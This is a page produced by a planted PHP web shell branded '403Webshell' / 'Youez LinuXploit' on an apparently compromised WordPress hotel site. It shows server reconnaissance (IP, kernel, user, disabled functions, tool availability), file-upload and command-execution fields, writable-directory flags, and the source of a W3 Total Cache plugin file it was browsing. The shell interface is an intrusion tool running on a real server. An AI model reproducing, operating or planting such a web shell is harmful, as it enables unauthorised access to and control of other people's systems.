403Webshell
Server IP : 89.108.64.180  /  Your IP : 216.73.217.95
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux 89-108-64-180.cloudvps.regruhosting.ru 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-root ( 1010)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/otelreskator.ru/wp-content/plugins/w3-total-cache/pub/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/otelreskator.ru/wp-content/plugins/w3-total-cache/pub/sns.php
<?php

$message = file_get_contents( 'php://input' );

// switch blog before any action
try {
	$message_object = json_decode( $message, true );
} catch ( \Exception $e ) {
	echo 'Failed to parse message';
	exit();
}

if ( isset( $message_object['Type'] ) && isset( $message_object['Message'] ) ) {
	if ( $message_object['Type'] == 'Notification' ) {
		$w3tc_message = $message_object['Message'];
		$w3tc_message_object = json_decode( $w3tc_message );

		if ( isset( $w3tc_message_object->blog_id ) ) {
			global $w3_current_blog_id;
			$w3_current_blog_id = $w3tc_message_object->blog_id;
		}
		if ( isset( $w3tc_message_object->host ) && !is_null( $w3tc_message_object->host ) ) {
			$_SERVER['HTTP_HOST'] = $w3tc_message_object->host;
		}
	}
	else if ( $message_object['Type'] != 'SubscriptionConfirmation' ) {
			echo 'Unsupported message type';
			exit();
		}
}

/**
 * W3 Total Cache SNS module
 */
define( 'W3TC_WP_LOADING', true );

if ( !defined( 'ABSPATH' ) ) {
	if ( file_exists( dirname( __FILE__ ) . '/../../../../wp-load.php' ) ) {
		require_once dirname( __FILE__ ) . '/../../../../wp-load.php';
	}
	else {
		require_once dirname( __FILE__ ) . '/../../w3tc-wp-loader.php';
	}
}

if ( !defined( 'W3TC_DIR' ) ) {
	define( 'W3TC_DIR', realpath( dirname( __FILE__ ) . '/..' ) );
}

if ( !@is_dir( W3TC_DIR ) || !file_exists( W3TC_DIR . '/w3-total-cache-api.php' ) ) {
	@header( 'X-Robots-Tag: noarchive, noodp, nosnippet' );
	echo sprintf( '<strong>W3 Total Cache Error:</strong> some files appear to be missing or out of place. Please re-install plugin or remove <strong>%s</strong>. <br />', dirname( __FILE__ ) );
}

require_once W3TC_DIR . '/w3-total-cache-api.php';

$server = \W3TC\Dispatcher::component( 'Enterprise_SnsServer' );
$server->process_message( $message_object );

Youez - 2016 - github.com/yon3zu
LinuXploit